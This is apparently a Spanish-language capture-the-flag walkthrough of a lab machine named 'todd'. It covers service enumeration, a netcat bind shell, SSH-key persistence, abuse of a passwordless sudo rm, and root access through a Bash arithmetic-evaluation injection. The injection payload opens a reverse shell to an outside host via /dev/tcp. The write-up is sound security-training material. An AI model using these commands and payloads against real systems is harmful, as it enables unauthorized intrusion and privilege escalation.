Enumeración de servicios
El objetivo expone SSH, HTTP y varios puertos altos marcados como tcpwrapped. Entre estos últimos, el puerto 7066 merece una revisión manual porque acepta conexiones antes de cerrarlas:
❯ nmap -sCV -p 22,80,1157,3103,7066,12958,18888,20269,22227,23532,23871,25116,29010 -oN 02-targeted.txt 192.168.1.10
...
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-title: Mindful Listening
7066/tcp open tcpwrapped
...Acceso inicial mediante una bind shell
La ruta /tools contiene utilidades como fscan, LinPEAS y pspy64. Al conectarnos con Netcat al puerto 7066 obtenemos una bind shell que se desconecta cada tres minutos:
❯ nc 192.168.1.10 7066
pwd
/rootEl directorio actual es /root, pero este dato por sí solo no demuestra el usuario efectivo de la sesión. Para no depender de una conexión temporal, aprovechamos el acceso para preparar persistencia en la cuenta todd.
Generamos un par de claves y escribimos la clave pública en el authorized_keys de todd:
❯ ssh-keygen -t rsa
...
❯ nc 192.168.1.10 7066
cd /home/todd
mkdir .ssh
cd .ssh
echo 'ssh-rsa...' > authorized_keysLa clave privada correspondiente permite iniciar sesión por SSH como todd:
❯ ssh todd@192.168.1.10 -i id_rsa
Enter passphrase for key 'id_rsa': 1234
...
$Identificación del proceso que cierra la sesión
La sesión continúa cerrándose porque root ejecuta periódicamente /opt/kill_todd.sh. pspy64 permite observar la orden sin requerir privilegios:
$ ./pspy64
...
2025/05/27 20:04:01 CMD: UID=0 PID=7950 | /bin/sh -c /bin/bash /opt/kill_todd.sh
...Abuso del permiso de sudo sobre rm
La política de sudo contiene tres comandos sin contraseña:
$ sudo -l
...
User todd may run the following commands on todd:
(ALL : ALL) NOPASSWD: /bin/bash /srv/guess_and_check.sh
(ALL : ALL) NOPASSWD: /usr/bin/rm
(ALL : ALL) NOPASSWD: /usr/sbin/rebootEl permiso sobre rm constituye un Sudo-Allowed Program Abuse. Lo usamos para eliminar el script que termina las sesiones y estabilizar el acceso de todd:
$ sudo rm /opt/kill_todd.shOS Command Injection en una expresión aritmética de Bash
El script privilegiado guess_and_check.sh pide un número aleatorio y lo compara mediante [[ ... -ne ... ]]. Después genera nombres aleatorios en /tmp y solo muestra /root/.cred si existe el archivo esperado y no existe el archivo de rechazo:
a=$((RANDOM%1000))
echo "Please Input [$a]"
read -p ">>>" input_number
[[ $input_number -ne "$a" ]] && exit 1
...
[[ -f "$true_file" ]] && [[ ! -f "$false_file" ]] && cat /root/.cred || exit 2La primera ruta aprovecha una OS Command Injection mediante Bash Arithmetic Evaluation. El operador -ne interpreta el valor como una expresión aritmética; la entrada N[$(...)] fuerza la evaluación de la sustitución de comandos antes de efectuar la comparación y ejecuta una reverse shell dentro del proceso lanzado mediante sudo:
todd@todd:/tmp$ sudo /bin/bash /srv/guess_and_check.sh
...
Please Input [485]
>>>N[$(/bin/bash -i >& /dev/tcp/192.168.1.3/1234 0>&1)]
❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.10:55452.
root@todd:/tmp#Ruta alternativa mediante la condición de archivos
La segunda ruta no necesita inyectar un comando. Creamos numerosos archivos candidatos en /tmp y repetimos la ejecución hasta coincidir con el nombre aleatorio que el script considera verdadero sin crear el nombre falso. Cuando ocurre esa combinación, el propio script privilegiado muestra la contraseña almacenada en /root/.cred:
todd@todd:/tmp$ for i in {1..200}; do touch "$i"; done
todd@todd:/tmp$ while true; do sudo /bin/bash /srv/guess_and_check.sh; done
...
>>>649
f**********
todd@todd:/tmp$ su root
Password:
root@todd:/tmp#Ambas rutas terminan en una shell de root, ya sea directamente mediante la inyección o mediante la contraseña recuperada. Con ese acceso damos por completada la máquina.